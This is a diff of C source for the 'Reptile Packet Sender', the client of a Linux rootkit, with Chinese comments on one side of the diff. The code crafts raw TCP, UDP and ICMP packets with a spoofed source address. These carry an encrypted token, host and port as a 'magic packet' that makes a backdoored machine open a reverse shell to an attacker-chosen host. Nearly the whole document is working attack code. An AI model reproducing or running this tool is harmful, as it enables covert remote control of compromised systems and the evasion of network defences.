@ -21,457 +21,444 @@
# include "util.h"
// Don't worry, it is gonna cahnged next version
// 定义常量, 这些值用于设置IP首部和TCP首部的字段
# define KEY 0x6de56d3b // 加密密钥
# define IPID 3429 // IP标识符
# define SEQ 15123 // TCP序列号
# define WIN 9965 // TCP窗口大小
// 定义一个伪首部结构体, 用于计算TCP和UDP数据包的校验和
struct pseudohdr {
uint32_t saddr ; // 源IP地址
uint32_t daddr ; // 目的IP地址
uint8_t zero ; // 填充字段, 总是0
uint8_t protocol ; // 协议类型, TCP或UDP
uint16_t length ; // 长度, TCP或UDP首部和数据的总长度
# define KEY 0x6de56d3b
# define IPID 3429
# define SEQ 15123
# define WIN 9965
struct pseudohdr
{
uint32_t saddr ;
uint32_t daddr ;
uint8_t zero ;
uint8_t protocol ;
uint16_t length ;
} ;
// 计算校验和的函数, 用于IP和TCP/UDP首部
unsigned short csum ( unsigned short * buf , int nwords ) {
unsigned long sum ;
unsigned short odd ;
unsigned short csum ( unsigned short * buf , int nwords )
{
unsigned long sum ;
unsigned short odd ;
// 将两个字节的校验和相加
for ( sum = 0 ; nwords > 1 ; nwords - = 2 )
sum + = * buf + + ;
for ( sum = 0 ; nwords > 1 ; nwords - = 2 )
sum + = * buf + + ;
// 如果有奇数个字节,将最后一个字节加入校验和
if ( nwords = = 1 ) {
odd = 0 ;
* ( ( unsigned char * ) & odd ) = * ( unsigned char * ) buf ;
sum + = odd ;
}
if ( nwords = = 1 ) {
odd = 0 ;
* ( ( unsigned char * ) & odd ) = * ( unsigned char * ) buf ;
sum + = odd ;
}
// 将校验和折叠成16位
sum = ( sum > > 16 ) + ( sum & 0xffff ) ;
sum + = ( sum > > 16 ) ;
sum = ( sum > > 16 ) + ( sum & 0xffff ) ;
sum + = ( sum > > 16 ) ;
// 返回反码
return ~ sum ;
return ~ sum ;
}
// 发送TCP数据包的函数
int tcp ( char * srcip , char * dstip , unsigned int srcport , unsigned int dstport , char * data , unsigned int data_len ) {
// 变量声明
int socktcp , nbytes , ret = EXIT_FAILURE ;
unsigned int pckt_tam , plen ;
char * buffer ;
struct iphdr * iph ;
struct tcphdr * tcph ;
struct sockaddr_in s ;
socklen_t optval = 1 ;
struct pseudohdr psh ;
char * pseudo_packet ;
// 计算数据包总长度
pckt_tam = sizeof ( struct iphdr ) + sizeof ( struct tcphdr ) + data_len ;
// 分配内存
if ( ! ( buffer = ( char * ) malloc ( pckt_tam ) ) ) {
fatal ( " on allocating buffer memory " ) ;
return ret ;
}
// 初始化内存
memset ( buffer , ' \0 ' , pckt_tam ) ;
// 填充IP首部
iph = ( struct iphdr * ) buffer ;
tcph = ( struct tcphdr * ) ( buffer + sizeof ( struct iphdr ) ) ;
iph - > ihl = 5 ;
iph - > version = 4 ;
iph - > tos = 0 ;
iph - > id = htons ( IPID ) ;
iph - > ttl = 255 ;
iph - > protocol = IPPROTO_TCP ;
iph - > tot_len = pckt_tam ;
iph - > saddr = inet_addr ( srcip ) ;
iph - > daddr = inet_addr ( dstip ) ;
iph - > check = csum ( ( unsigned short * ) buffer , iph - > tot_len ) ;
// 填充TCP首部
tcph - > source = htons ( srcport ) ;
tcph - > dest = htons ( dstport ) ;
tcph - > seq = 0x0 ;
tcph - > ack_seq = 0 ;
tcph - > doff = 5 ;
tcph - > fin = 0 ;
tcph - > syn = 1 ;
tcph - > rst = 0 ;
tcph - > psh = 0 ;
tcph - > ack = 0 ;
tcph - > urg = 0 ;
tcph - > window = htons ( WIN ) ;
tcph - > urg_ptr = 0 ;
tcph - > check = 0 ;
// 构建伪首部, 用于计算TCP校验和
psh . saddr = inet_addr ( srcip ) ;
psh . daddr = inet_addr ( dstip ) ;
psh . zero = 0 ;
psh . protocol = IPPROTO_TCP ;
psh . length = htons ( sizeof ( struct tcphdr ) + data_len ) ;
// 计算TCP首部和数据的校验和
plen = sizeof ( struct pseudohdr ) + sizeof ( struct tcphdr ) + data_len ;
if ( ( pseudo_packet = malloc ( plen ) ) = = NULL ) {
fatal ( " on malloc " ) ;
goto close_socket ;
}
bzero ( pseudo_packet , plen ) ;
memcpy ( pseudo_packet , & psh , sizeof ( struct pseudohdr ) ) ;
tcph - > seq = htons ( SEQ ) ;
tcph - > check = 0 ;
memcpy ( pseudo_packet + sizeof ( struct pseudohdr ) , tcph , sizeof ( struct tcphdr ) + data_len ) ;
tcph - > check = csum ( ( unsigned short * ) pseudo_packet , plen ) ;
// 设置目的地址和端口
s . sin_family = AF_INET ;
s . sin_port = htons ( dstport ) ;
s . sin_addr . s_addr = inet_addr ( dstip ) ;
// 发送数据包
if ( ( nbytes = sendto ( socktcp , buffer , iph - > tot_len , 0 , ( struct sockaddr * ) & s , sizeof ( struct sockaddr ) ) ) = = - 1 )
fatal ( " on sending package " ) ;
// 清理资源
if ( nbytes > 0 ) {
fprintf ( stdout , " %s TCP: %u bytes was sent! \n " , good , nbytes ) ;
ret = EXIT_SUCCESS ;
}
free ( pseudo_packet ) ;
int tcp ( char * srcip , char * dstip , unsigned int srcport , unsigned int dstport , char * data , unsigned int data_len )
{
int socktcp , nbytes , ret = EXIT_FAILURE ;
unsigned int pckt_tam , plen ;
char * buffer ;
struct iphdr * iph ;
struct tcphdr * tcph ;
struct sockaddr_in s ;
socklen_t optval = 1 ;
struct pseudohdr psh ;
char * pseudo_packet ;
pckt_tam = sizeof ( struct iphdr ) + sizeof ( struct tcphdr ) + data_len ;
if ( ! ( buffer = ( char * ) malloc ( pckt_tam ) ) ) {
fatal ( " on allocating buffer memory " ) ;
return ret ;
}
memset ( buffer , ' \0 ' , pckt_tam ) ;
iph = ( struct iphdr * ) buffer ;
tcph = ( struct tcphdr * ) ( buffer + sizeof ( struct iphdr ) ) ;
if ( ( socktcp = socket ( PF_INET , SOCK_RAW , IPPROTO_TCP ) ) = = - 1 ) {
fatal ( " on creating TCP socket " ) ;
goto free_buffer ;
}
if ( setsockopt ( socktcp , IPPROTO_IP , IP_HDRINCL , & optval , sizeof ( optval ) ) = = - 1 ) {
fatal ( " on setsockopt " ) ;
goto close_socket ;
}
memcpy ( ( buffer + sizeof ( struct iphdr ) + sizeof ( struct tcphdr ) ) , data , data_len ) ;
iph - > ihl = 5 ;
iph - > version = 4 ;
iph - > tos = 0 ;
iph - > id = htons ( IPID ) ;
iph - > ttl = 255 ;
iph - > protocol = IPPROTO_TCP ;
iph - > tot_len = pckt_tam ;
iph - > saddr = inet_addr ( srcip ) ;
iph - > daddr = inet_addr ( dstip ) ;
//iph->check = csum((unsigned short *)buffer, sizeof(struct iphdr) + sizeof(struct tcphdr));
iph - > check = csum ( ( unsigned short * ) buffer , iph - > tot_len ) ;
tcph - > source = htons ( srcport ) ;
tcph - > dest = htons ( dstport ) ;
tcph - > seq = 0x0 ;
tcph - > ack_seq = 0 ;
tcph - > doff = 5 ;
tcph - > fin = 0 ;
tcph - > syn = 1 ;
tcph - > rst = 0 ;
tcph - > psh = 0 ;
tcph - > ack = 0 ;
tcph - > urg = 0 ;
tcph - > window = htons ( WIN ) ;
tcph - > urg_ptr = 0 ;
tcph - > check = 0 ;
psh . saddr = inet_addr ( srcip ) ;
psh . daddr = inet_addr ( dstip ) ;
psh . zero = 0 ;
psh . protocol = IPPROTO_TCP ;
psh . length = htons ( sizeof ( struct tcphdr ) + data_len ) ;
plen = sizeof ( struct pseudohdr ) + sizeof ( struct tcphdr ) + data_len ;
if ( ( pseudo_packet = malloc ( plen ) ) = = NULL ) {
fatal ( " on malloc " ) ;
goto close_socket ;
}
bzero ( pseudo_packet , plen ) ;
memcpy ( pseudo_packet , & psh , sizeof ( struct pseudohdr ) ) ;
tcph - > seq = htons ( SEQ ) ;
tcph - > check = 0 ;
memcpy ( pseudo_packet + sizeof ( struct pseudohdr ) , tcph , sizeof ( struct tcphdr ) + data_len ) ;
tcph - > check = csum ( ( unsigned short * ) pseudo_packet , plen ) ;
s . sin_family = AF_INET ;
s . sin_port = htons ( dstport ) ;
s . sin_addr . s_addr = inet_addr ( dstip ) ;
if ( ( nbytes = sendto ( socktcp , buffer , iph - > tot_len , 0 , ( struct sockaddr * ) & s , sizeof ( struct sockaddr ) ) ) = = - 1 )
fatal ( " on sending package " ) ;
if ( nbytes > 0 ) {
fprintf ( stdout , " %s TCP: %u bytes was sent! \n " , good , nbytes ) ;
ret = EXIT_SUCCESS ;
}
free ( pseudo_packet ) ;
close_socket :
close ( socktcp ) ;
close ( socktcp ) ;
free_buffer :
free ( buffer ) ;
return ret ;
free ( buffer ) ;
return ret ;
}
// 发送ICMP数据包的函数
int icmp ( char * srcip , char * dstip , char * data , unsigned int data_len ) {
// 变量声明
int sockicmp , nbytes , ret = EXIT_FAILURE ;
unsigned int pckt_tam ;
char * buffer ;
struct iphdr * iph ;
struct icmphdr * icmp ;
struct sockaddr_in s ;
socklen_t optval = 1 ;
// 计算数据包总长度
pckt_tam = sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) + data_len ;
// 分配内存
if ( ! ( buffer = ( char * ) malloc ( pckt_tam ) ) ) {
fatal ( " on allocating buffer memory " ) ;
return ret ;
}
// 初始化内存
memset ( buffer , ' \0 ' , pckt_tam ) ;
// 填充IP首部
iph = ( struct iphdr * ) buffer ;
icmp = ( struct icmphdr * ) ( buffer + sizeof ( struct iphdr ) ) ;
iph - > ihl = 5 ;
iph - > version = 4 ;
iph - > tos = 0 ;
iph - > id = htons ( IPID ) ;
iph - > ttl = 255 ;
iph - > protocol = IPPROTO_ICMP ;
iph - > saddr = inet_addr ( srcip ) ;
iph - > daddr = inet_addr ( dstip ) ;
iph - > tot_len = pckt_tam ;
iph - > check = csum ( ( unsigned short * ) buffer , iph - > tot_len ) ;
// 填充ICMP首部
icmp - > type = 8 ; // ICMP类型: 回显请求
icmp - > code = ICMP_ECHO ; // ICMP代码: 回显请求
icmp - > checksum = 0 ; // 清零校验和字段
icmp - > un . echo . id = htons ( WIN ) ; // ICMP标识符
icmp - > un . echo . sequence = htons ( SEQ ) ; // ICMP序列号
// 计算ICMP首部和数据的校验和
icmp - > checksum = csum ( ( unsigned short * ) icmp , sizeof ( struct icmphdr ) + data_len ) ;
// 设置目的地址
s . sin_family = AF_INET ;
s . sin_addr . s_addr = inet_addr ( dstip ) ;
// 发送数据包
if ( ( nbytes = sendto ( sockicmp , buffer , iph - > tot_len , 0 , ( struct sockaddr * ) & s , sizeof ( struct sockaddr ) ) ) = = - 1 )
fatal ( " on sending package " ) ;
// 清理资源
if ( nbytes > 0 ) {
fprintf ( stdout , " %s ICMP: %u bytes was sent! \n " , good , nbytes ) ;
ret = EXIT_SUCCESS ;
}
int icmp ( char * srcip , char * dstip , char * data , unsigned int data_len )
{
int sockicmp , nbytes , ret = EXIT_FAILURE ;
unsigned int pckt_tam ;
char * buffer ;
struct iphdr * iph ;
struct icmphdr * icmp ;
struct sockaddr_in s ;
socklen_t optval = 1 ;
pckt_tam = ( sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) + data_len ) ;
if ( ! ( buffer = ( char * ) malloc ( pckt_tam ) ) ) {
fatal ( " on allocating buffer memory " ) ;
return ret ;
}
memset ( buffer , ' \0 ' , pckt_tam ) ;
iph = ( struct iphdr * ) buffer ;
icmp = ( struct icmphdr * ) ( buffer + sizeof ( struct iphdr ) ) ;
if ( ( sockicmp = socket ( PF_INET , SOCK_RAW , IPPROTO_ICMP ) ) = = - 1 ) {
fatal ( " in creating raw ICMP socket " ) ;
goto free_buffer ;
}
if ( setsockopt ( sockicmp , IPPROTO_IP , IP_HDRINCL , & optval , sizeof ( optval ) ) = = - 1 ) {
fatal ( " in setsockopt " ) ;
goto close_socket ;
}
memcpy ( ( buffer + sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) ) , data , data_len ) ;
iph - > ihl = 5 ;
iph - > version = 4 ;
iph - > tos = 0 ;
iph - > id = htons ( IPID ) ;
iph - > ttl = 255 ;
iph - > protocol = IPPROTO_ICMP ;
iph - > saddr = inet_addr ( srcip ) ;
iph - > daddr = inet_addr ( dstip ) ;
iph - > tot_len = pckt_tam ;
iph - > check = csum ( ( unsigned short * ) buffer , iph - > tot_len ) ;
icmp - > type = 8 ;
icmp - > code = ICMP_ECHO ;
icmp - > checksum = 0 ;
icmp - > un . echo . id = htons ( WIN ) ;
icmp - > un . echo . sequence = htons ( SEQ ) ;
icmp - > checksum = csum ( ( unsigned short * ) icmp , sizeof ( struct icmphdr ) + data_len ) ;
s . sin_family = AF_INET ;
s . sin_addr . s_addr = inet_addr ( dstip ) ;
if ( ( nbytes = sendto ( sockicmp , buffer , iph - > tot_len , 0 , ( struct sockaddr * ) & s , sizeof ( struct sockaddr ) ) ) = = - 1 )
fatal ( " on sending package " ) ;
if ( nbytes > 0 ) {
fprintf ( stdout , " %s ICMP: %u bytes was sent! \n " , good , nbytes ) ;
ret = EXIT_SUCCESS ;
}
close_socket :
close ( sockicmp ) ;
close ( sockicmp ) ;
free_buffer :
free ( buffer ) ;
return ret ;
free ( buffer ) ;
return ret ;
}
// 发送UDP数据包的函数
int udp ( char * srcip , char * dstip , unsigned int srcport , unsigned int dstport , char * data , unsigned int data_len ) {
// 声明变量
int sockudp , nbytes , ret = EXIT_FAILURE ; // 用于网络通信的socket, 发送的字节数, 返回值
unsigned int pckt_tam , plen ; // 数据包长度,伪包长度
char * buffer ; // 缓冲区
struct iphdr * iph ; // IP头指针
struct udphdr * udph ; // UDP头指针
struct sockaddr_in s ; // 地址结构
socklen_t optval = 1 ; // 设置socket选项的值
struct pseudohdr psh ; // 伪包头结构
char * pseudo_packet ; // 伪包数据指针
// 计算数据包总长度
pckt_tam = sizeof ( struct iphdr ) + sizeof ( struct udphdr ) + data_len ;
// 分配内存
if ( ! ( buffer = ( char * ) malloc ( pckt_tam ) ) ) {
fatal ( " on allocating buffer memory " ) ; // 分配失败时调用fatal函数
return ret ; // 返回失败
}
// 初始化内存
memset ( buffer , ' \0 ' , pckt_tam ) ; // 将缓冲区清零
// 填充IP首部
iph = ( struct iphdr * ) buffer ; // 将缓冲区的开始部分视为IP头
udph = ( struct udphdr * ) ( buffer + sizeof ( struct iphdr ) ) ; // IP头后是UDP头
iph - > ihl = 5 ; // IP头长度
iph - > version = 4 ; // IP版本
iph - > tos = 0 ; // 服务类型
iph - > id = htons ( IPID ) ; // 标识符
iph - > ttl = 255 ; // 生命周期
iph - > protocol = IPPROTO_UDP ; // 协议类型
iph - > tot_len = pckt_tam ; // 总长度
iph - > saddr = inet_addr ( srcip ) ; // 源IP地址
iph - > daddr = inet_addr ( dstip ) ; // 目的IP地址
iph - > check = csum ( ( unsigned short * ) buffer , iph - > tot_len ) ; // 校验和
// 填充UDP首部
udph - > source = htons ( srcport ) ; // 源端口
udph - > dest = htons ( dstport ) ; // 目的端口
udph - > len = htons ( sizeof ( struct udphdr ) + data_len ) ; // UDP长度
udph - > check = 0 ; // 校验和初始化为0
// 创建伪包头
psh . saddr = inet_addr ( srcip ) ; // 源IP地址
psh . daddr = inet_addr ( dstip ) ; // 目的IP地址
psh . zero = 0 ; // 填充0
psh . protocol = IPPROTO_UDP ; // 协议类型
psh . length = htons ( sizeof ( struct udphdr ) + data_len ) ; // UDP长度
// 计算伪包长度
plen = sizeof ( struct pseudohdr ) + sizeof ( struct udphdr ) + data_len ;
// 分配伪包内存
if ( ( pseudo_packet = malloc ( plen ) ) = = NULL ) {
fatal ( " on malloc " ) ; // 分配失败时调用fatal函数
goto close_socket ; // 跳转到关闭socket的标签
}
// 初始化伪包内存
bzero ( pseudo_packet , plen ) ; // 清零伪包
memcpy ( pseudo_packet , & psh , sizeof ( struct pseudohdr ) ) ; // 复制伪包头
// 计算UDP校验和
udph - > check = 0 ; // 校验和重置为0
memcpy ( pseudo_packet + sizeof ( struct pseudohdr ) , udph , sizeof ( struct udphdr ) + data_len ) ; // 复制UDP头和数据
udph - > check = csum ( ( unsigned short * ) pseudo_packet , plen ) ; // 计算校验和
// 设置目的地址
s . sin_family = AF_INET ; // 地址族
s . sin_port = htons ( dstport ) ; // 目的端口
s . sin_addr . s_addr = inet_addr ( dstip ) ; // 目的IP地址
// 发送数据包
if ( ( nbytes = sendto ( sockudp , buffer , iph - > tot_len , 0 , ( struct sockaddr * ) & s , sizeof ( struct sockaddr ) ) ) = = - 1 )
fatal ( " on sending package " ) ; // 发送失败时调用fatal函数
// 检查发送的字节数
if ( nbytes > 0 ) {
fprintf ( stdout , " %s UDP: %u bytes was sent! \n " , good , nbytes ) ; // 打印成功消息
ret = EXIT_SUCCESS ; // 设置返回值为成功
}
// 释放伪包内存
free ( pseudo_packet ) ;
int udp ( char * srcip , char * dstip , unsigned int srcport , unsigned int dstport , char * data , unsigned int data_len )
{
int sockudp , nbytes , ret = EXIT_FAILURE ;
unsigned int pckt_tam , plen ;
char * buffer ;
struct iphdr * iph ;
struct udphdr * udph ;
struct sockaddr_in s ;
socklen_t optval = 1 ;
struct pseudohdr psh ;
char * pseudo_packet ;
pckt_tam = sizeof ( struct iphdr ) + sizeof ( struct udphdr ) + data_len ;
if ( ! ( buffer = ( char * ) malloc ( pckt_tam ) ) ) {
fatal ( " on allocating buffer memory " ) ;
return ret ;
}
memset ( buffer , ' \0 ' , pckt_tam ) ;
iph = ( struct iphdr * ) buffer ;
udph = ( struct udphdr * ) ( buffer + sizeof ( struct iphdr ) ) ;
if ( ( sockudp = socket ( PF_INET , SOCK_RAW , IPPROTO_UDP ) ) = = - 1 ) {
fatal ( " on creating UDP socket " ) ;
goto free_buffer ;
}
if ( setsockopt ( sockudp , IPPROTO_IP , IP_HDRINCL , & optval , sizeof ( optval ) ) = = - 1 ) {
fatal ( " on setsockopt " ) ;
goto close_socket ;
}
memcpy ( ( buffer + sizeof ( struct iphdr ) + sizeof ( struct udphdr ) ) , data , data_len ) ;
iph - > ihl = 5 ;
iph - > version = 4 ;
iph - > tos = 0 ;
iph - > id = htons ( IPID ) ;
iph - > ttl = 255 ;
iph - > protocol = IPPROTO_UDP ;
iph - > tot_len = pckt_tam ;
iph - > saddr = inet_addr ( srcip ) ;
iph - > daddr = inet_addr ( dstip ) ;
iph - > check = csum ( ( unsigned short * ) buffer , iph - > tot_len ) ;
udph - > source = htons ( srcport ) ;
udph - > dest = htons ( dstport ) ;
udph - > len = htons ( sizeof ( struct udphdr ) + data_len ) ;
udph - > check = 0 ;
psh . saddr = inet_addr ( srcip ) ;
psh . daddr = inet_addr ( dstip ) ;
psh . zero = 0 ;
psh . protocol = IPPROTO_UDP ;
psh . length = htons ( sizeof ( struct udphdr ) + data_len ) ;
plen = sizeof ( struct pseudohdr ) + sizeof ( struct udphdr ) + data_len ;
if ( ( pseudo_packet = malloc ( plen ) ) = = NULL ) {
fatal ( " on malloc " ) ;
goto close_socket ;
}
bzero ( pseudo_packet , plen ) ;
memcpy ( pseudo_packet , & psh , sizeof ( struct pseudohdr ) ) ;
udph - > check = 0 ;
memcpy ( pseudo_packet + sizeof ( struct pseudohdr ) , udph , sizeof ( struct udphdr ) + data_len ) ;
udph - > check = csum ( ( unsigned short * ) pseudo_packet , plen ) ;
//fprintf(stdout, "UDP Checksum = 0x%x\n", htons(udph->check));
s . sin_family = AF_INET ;
s . sin_port = htons ( dstport ) ;
s . sin_addr . s_addr = inet_addr ( dstip ) ;
if ( ( nbytes = sendto ( sockudp , buffer , iph - > tot_len , 0 , ( struct sockaddr * ) & s , sizeof ( struct sockaddr ) ) ) = = - 1 )
fatal ( " on sending package " ) ;
if ( nbytes > 0 ) {
fprintf ( stdout , " %s UDP: %u bytes was sent! \n " , good , nbytes ) ;
ret = EXIT_SUCCESS ;
}
free ( pseudo_packet ) ;
close_socket :
// 关闭socket
close ( sockudp ) ;
close ( sockudp ) ;
free_buffer :
// 释放缓冲区内存
free ( buffer ) ;
return ret ; // 返回结果
free ( buffer ) ;
return ret ;
}
void usage ( char * argv0 )
void usage ( char * argv0 )
{
// 打印使用说明
fprintf ( stderr , " \n \ e[01;32mReptile Packet Sender \ e[00m \n " ) ;
fprintf ( stderr , " \ e[01;31mWritten by F0rb1dd3n \ e[00m \n " ) ;
fprintf ( stderr , " \n Usage: %s [options] \n \n " , argv0 ) ;
fprintf ( stderr , " -t \t Target \n " ) ;
fprintf ( stderr , " -r \t Remote port from magic packets (only for tcp/udp) \n " ) ;
fprintf ( stderr , " -x \t Magic Packet protocol (tcp/icmp/udp) \n " ) ;
fprintf ( stderr , " -s \t Source IP address to spoof \n " ) ;
fprintf ( stderr , " -q \t Source port from magic packets (only for tcp/udp) \n " ) ;
fprintf ( stderr , " -l \t Host to receive the reverse shell \n " ) ;
fprintf ( stderr , " -p \t Host port to receive the reverse shell \n " ) ;
fprintf ( stderr , " -k \t Token to trigger the port-knocking \n " ) ;
exit ( 1 ) ; // 退出程序
fprintf ( stderr , " \n \ e[01;32mReptile Packet Sender \ e[00m \n " ) ;
fprintf ( stderr , " \ e[01;31mWritten by F0rb1dd3n \ e[00m \n " ) ;
fprintf ( stderr , " \n Usage: %s [options] \n \n " , argv0 ) ;
fprintf ( stderr , " -t \t Target \n " ) ;
fprintf ( stderr , " -r \t Remote port from magic packets (only for tcp/udp) \n " ) ;
fprintf ( stderr , " -x \t Magic Packet protocol (tcp/icmp/udp) \n " ) ;
fprintf ( stderr , " -s \t Source IP address to spoof \n " ) ;
fprintf ( stderr , " -q \t Source port from magic packets (only for tcp/udp) \n " ) ;
fprintf ( stderr , " -l \t Host to receive the reverse shell \n " ) ;
fprintf ( stderr , " -p \t Host port to receive the reverse shell \n " ) ;
fprintf ( stderr , " -k \t Token to trigger the port-knocking \n \n " ) ;
exit ( 1 ) ;
}
int main ( int argc , char * * argv )
int main ( int argc , char * * argv )
{
// 声明变量
int opt , dstport , srcport , len , crypt_len ;
char * prot , * dstip , * srcip , * connect_back_host , * connect_back_port ,
* token , * data ;
// 初始化端口变量
dstport = srcport = 0 ;
// 初始化字符串指针
prot = dstip = srcip = connect_back_host = connect_back_port = token =
NULL ;
// 解析命令行参数
while ( ( opt = getopt ( argc , argv , " x:t:l:p:r:s:q:k: " ) ) ! = EOF ) {
switch ( opt ) {
case ' x ' :
// 设置协议
prot = optarg ;
// 检查协议是否合法
if ( strcmp ( prot , " icmp " ) = = 0 | | strcmp ( prot , " ICMP " ) = = 0 ) {
if ( strcmp ( prot , " udp " ) = = 0 | | strcmp ( prot , " UDP " ) = = 0 ) {
if ( strcmp ( prot , " tcp " ) = = 0 | | strcmp ( prot , " TCP " ) = = 0 ) {
printf ( " %s wrong protocol \n " , bad ) ;
exit ( - 1 ) ;
}
}
}
break ;
case ' t ' :
// 设置目标IP
if ( strlen ( optarg ) > 15 ) {
printf ( " %s wrong IP address \n " , bad ) ;
exit ( - 1 ) ;
}
dstip = optarg ;
break ;
case ' l ' :
// 设置连接回显IP
if ( strlen ( optarg ) > 15 ) {
printf ( " %s wrong IP address \n " , bad ) ;
exit ( - 1 ) ;
}
connect_back_host = optarg ;
break ;
case ' p ' :
// 设置连接回显端口
if ( atoi ( optarg ) < 0 | | atoi ( optarg ) > 65535 ) {
printf ( " %s wrong port \n " , bad ) ;
exit ( - 1 ) ;
}
connect_back_port = optarg ;
break ;
case ' r ' :
// 设置远程端口
if ( atoi ( optarg ) < 0 | | atoi ( optarg ) > 65535 ) {
printf ( " %s wrong port \n " , bad ) ;
exit ( - 1 ) ;
}
dstport = atoi ( optarg ) ;
break ;
case ' s ' :
// 设置源IP
if ( strlen ( optarg ) > 15 ) {
printf ( " %s wrong IP address \n " , bad ) ;
exit ( - 1 ) ;
}
srcip = optarg ;
break ;
case ' q ' :
// 设置源端口
if ( atoi ( optarg ) < 0 | | atoi ( optarg ) > 65535 ) {
printf ( " %s wrong port \n " , bad ) ;
exit ( - 1 ) ;
}
srcport = atoi ( optarg ) ;
break ;
case ' k ' :
// 设置令牌
if ( strlen ( optarg ) > 16 | | strlen ( optarg ) < 5 ) {
printf ( " %s wrong size of token \n " , bad ) ;
exit ( - 1 ) ;
}
token = optarg ;
break ;
default :
// 打印使用说明
usage ( argv [ 0 ] ) ;
break ;
}
}
// 检查必要的参数是否已设置
if ( prot = = NULL | | dstip = = NULL | | srcip = = NULL | |
connect_back_host = = NULL | | connect_back_port = = NULL | |
token = = NULL ) {
usage ( argv [ 0 ] ) ;
}
// 检查端口参数
if ( strcmp ( prot , " tcp " ) = = 0 | | strcmp ( prot , " udp " ) = = 0 | |
strcmp ( prot , " TCP " ) = = 0 | | strcmp ( prot , " UDP " ) = = 0 ) {
if ( srcport = = 0 | | dstport = = 0 )
usage ( argv [ 0 ] ) ;
}
// 计算数据长度
len = strlen ( token ) + strlen ( connect_back_host ) + strlen ( connect_back_port ) + 3 ;
crypt_len = strlen ( connect_back_host ) + strlen ( connect_back_port ) + 2 ;
data = ( char * ) malloc ( len ) ;
// 检查内存分配
if ( ! data )
fatal ( " malloc " ) ;
// 初始化数据
bzero ( data , len ) ;
snprintf ( data , len , " %s %s %s " , token , connect_back_host , connect_back_port ) ;
do_encrypt ( data + strlen ( token ) + 1 , crypt_len , KEY ) ; // 加密数据
// 根据协议发送数据包
if ( strcmp ( prot , " tcp " ) = = 0 | | strcmp ( prot , " TCP " ) = = 0 ) {
tcp ( srcip , dstip , srcport , dstport , data , len ) ;
}
else if ( strcmp ( prot , " icmp " ) = = 0 | | strcmp ( prot , " ICMP " ) = = 0 ) {
icmp ( srcip , dstip , data , len ) ;
}
else if ( strcmp ( prot , " udp " ) = = 0 | | strcmp ( prot , " UDP " ) = = 0 ) {
udp ( srcip , dstip , srcport , dstport , data , len ) ;
}
// 释放内存
free ( data ) ;
return EXIT_SUCCESS ; // 返回成功
}
int opt , dstport , srcport , len , crypt_len ;
char * prot , * dstip , * srcip , * connect_back_host , * connect_back_port ,
* token , * data ;
dstport = srcport = 0 ;
prot = dstip = srcip = connect_back_host = connect_back_port = token =
NULL ;
while ( ( opt = getopt ( argc , argv , " x:t:l:p:r:s:q:k: " ) ) ! = EOF ) {
switch ( opt ) {
case ' x ' :
prot = optarg ;
if ( strcmp ( prot , " icmp " ) = = 0 | |
strcmp ( prot , " ICMP " ) = = 0 ) {
if ( strcmp ( prot , " udp " ) = = 0 | |
strcmp ( prot , " UDP " ) = = 0 ) {
if ( strcmp ( prot , " tcp " ) = = 0 | |
strcmp ( prot , " TCP " ) = = 0 ) {
printf ( " %s wrong "
" protocol \n " ,
bad ) ;
exit ( - 1 ) ;
}
}
}
break ;
case ' t ' :
if ( strlen ( optarg ) > 15 ) {
printf ( " %s wrong IP address \n " , bad ) ;
exit ( - 1 ) ;
}
dstip = optarg ;
break ;
case ' l ' :
if ( strlen ( optarg ) > 15 ) {
printf ( " %s wrong IP address \n " , bad ) ;
exit ( - 1 ) ;
}
connect_back_host = optarg ;
break ;
case ' p ' :
if ( atoi ( optarg ) < 0 | | atoi ( optarg ) > 65535 ) {
printf ( " %s wrong port \n " , bad ) ;
exit ( - 1 ) ;
}
connect_back_port = optarg ;
break ;
case ' r ' :
if ( atoi ( optarg ) < 0 | | atoi ( optarg ) > 65535 ) {
printf ( " %s wrong port \n " , bad ) ;
exit ( - 1 ) ;
}
dstport = atoi ( optarg ) ;
break ;
case ' s ' :
if ( strlen ( optarg ) > 15 ) {
printf ( " %s wrong IP address \n " , bad ) ;
exit ( - 1 ) ;
}
srcip = optarg ;
break ;
case ' q ' :
if ( atoi ( optarg ) < 0 | | atoi ( optarg ) > 65535 ) {
printf ( " %s wrong port \n " , bad ) ;
exit ( - 1 ) ;
}
srcport = atoi ( optarg ) ;
break ;
case ' k ' :
if ( strlen ( optarg ) > 16 | | strlen ( optarg ) < 5 ) {
printf ( " %s wrong size of token \n " , bad ) ;
exit ( - 1 ) ;
}
token = optarg ;
break ;
default :
usage ( argv [ 0 ] ) ;
break ;
}
}
if ( prot = = NULL | | dstip = = NULL | | srcip = = NULL | |
connect_back_host = = NULL | | connect_back_port = = NULL | |
token = = NULL ) {
usage ( argv [ 0 ] ) ;
}
if ( strcmp ( prot , " tcp " ) = = 0 | | strcmp ( prot , " udp " ) = = 0 | |
strcmp ( prot , " TCP " ) = = 0 | | strcmp ( prot , " UDP " ) = = 0 ) {
if ( srcport = = 0 | | dstport = = 0 )
usage ( argv [ 0 ] ) ;
}
len = strlen ( token ) + strlen ( connect_back_host ) + strlen ( connect_back_port ) + 3 ;
crypt_len = strlen ( connect_back_host ) + strlen ( connect_back_port ) + 2 ;
data = ( char * ) malloc ( len ) ;
if ( ! data )
fatal ( " malloc " ) ;
bzero ( data , len ) ;
snprintf ( data , len , " %s %s %s " , token , connect_back_host , connect_back_port ) ;
do_encrypt ( data + strlen ( token ) + 1 , crypt_len , KEY ) ;
// printf("data size: %d\n", len);
if ( strcmp ( prot , " tcp " ) = = 0 | | strcmp ( prot , " TCP " ) = = 0 ) {
tcp ( srcip , dstip , srcport , dstport , data , len ) ;
} else if ( strcmp ( prot , " icmp " ) = = 0 | | strcmp ( prot , " ICMP " ) = = 0 ) {
icmp ( srcip , dstip , data , len ) ;
} else if ( strcmp ( prot , " udp " ) = = 0 | | strcmp ( prot , " UDP " ) = = 0 ) {
udp ( srcip , dstip , srcport , dstport , data , len ) ;
}
free ( data ) ;
return EXIT_SUCCESS ;
}